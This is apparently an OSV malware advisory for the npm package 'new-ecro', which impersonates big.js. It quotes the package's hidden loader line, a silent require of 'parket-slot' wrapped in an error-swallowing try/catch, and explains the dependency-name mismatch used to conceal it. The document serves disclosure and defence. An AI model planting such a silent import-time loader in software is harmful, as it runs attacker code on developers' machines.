MAL-2026-6197

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/new-ecro/MAL-2026-6197.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6197
Aliases
  • GHSA-chhh-8532-pg35
Published
2026-06-19T05:20:02Z
Modified
2026-06-19T10:01:49.296352038Z
Summary
Malicious code in new-ecro (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (7492a140547cea0957bc705d365e19806091462a249c3d5c90b6bfe91e8431c7)

Package 'new-ecro' impersonates the legitimate 'big.js' library: it copies big.js's README, source, version banner ('big.js v7.0.1'), author email, and repository URL while being published under an unrelated name. On require()/import of the main entry, big.js:606-609 (and the same lines in big.mjs) execute try { const doc = require("parket-slot"); doc.from_str().then(e=>{}).catch(e=>{}) } catch (error) {} — a silent loader-and-invoker wrapped in an error-swallowing try/catch so failures are invisible to the caller. The package's declared dependency in package.json is new-solt@0.0.8, while the code requires parket-slot — a name mismatch that hides the actual executing module from casual inspection of new-ecro's manifest; new-solt transitively delivers parket-slot. A developer who installs new-ecro believing it is big.js, or whose dependency tree pulls it in, executes attacker-controlled third-party code at import time. The combination of metadata spoofing of a popular library, a silent runtime require of a different-named module than declared, and unconditional error suppression is a canonical malicious-typosquat dropper pattern.

Source: ghsa-malware (aca5243723c51f55d306bc6f0dec39cbab6a33cc6983e34c226eef75e274aee7)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "sha256": "7492a140547cea0957bc705d365e19806091462a249c3d5c90b6bfe91e8431c7",
            "source": "amazon-inspector",
            "modified_time": "2026-06-19T05:20:04Z",
            "id": "IN-MAL-2026-007059",
            "versions": [
                "0.0.7"
            ],
            "import_time": "2026-06-19T07:17:16.83610845Z"
        },
        {
            "sha256": "7ddd41ed9696514bca555c580f60f96b630722f0828ee9cfb0ea01d6775ebc6e",
            "source": "amazon-inspector",
            "modified_time": "2026-06-19T05:20:02Z",
            "versions": [
                "0.0.6"
            ],
            "id": "IN-MAL-2026-007057",
            "import_time": "2026-06-19T07:17:16.718329936Z"
        },
        {
            "sha256": "c1e648000015ecb021ad4e52b2ed73ca3be2d782251584629595a7bbbbb3d4ac",
            "source": "amazon-inspector",
            "modified_time": "2026-06-19T05:20:03Z",
            "id": "IN-MAL-2026-007058",
            "versions": [
                "0.0.9"
            ],
            "import_time": "2026-06-19T07:17:16.799274444Z"
        },
        {
            "sha256": "aca5243723c51f55d306bc6f0dec39cbab6a33cc6983e34c226eef75e274aee7",
            "source": "ghsa-malware",
            "modified_time": "2026-06-19T08:28:32Z",
            "id": "GHSA-chhh-8532-pg35",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "import_time": "2026-06-19T09:51:49.461536212Z"
        }
    ]
}
References
Credits

Affected packages

npm / new-ecro

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

0.*
0.0.6
0.0.7
0.0.9

Database specific

cwes
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/new-ecro/MAL-2026-6197.json"
indicators
{
    "evidence_files": [
        {
            "sha256": "5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace",
            "tlsh": "24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc",
            "path": "big.js"
        },
        {
            "sha256": "3a6a3d2490c7606d6b01631e4895014e04f564e995fcbc3787509b3ee5a5a65a",
            "tlsh": "da21f367c9a19da70af89b94bc6c43aaf1151b2f44a05c5bb07b130c4f3355b2095bbd",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha512_sri": "sha512-9+4Dws0BF3kk1m2btfZDIlSm+GqCPfRd9clkeyH+NK9GaHEMBeIlLrZEjshg5IImBTsVuJsAUf8tQMeuyXNnZQ==",
                "sha1": "daa605eaa63e682ab38085beeb023a54c814dc88"
            },
            "filename": "new-ecro-0.0.7.tgz"
        }
    ]
}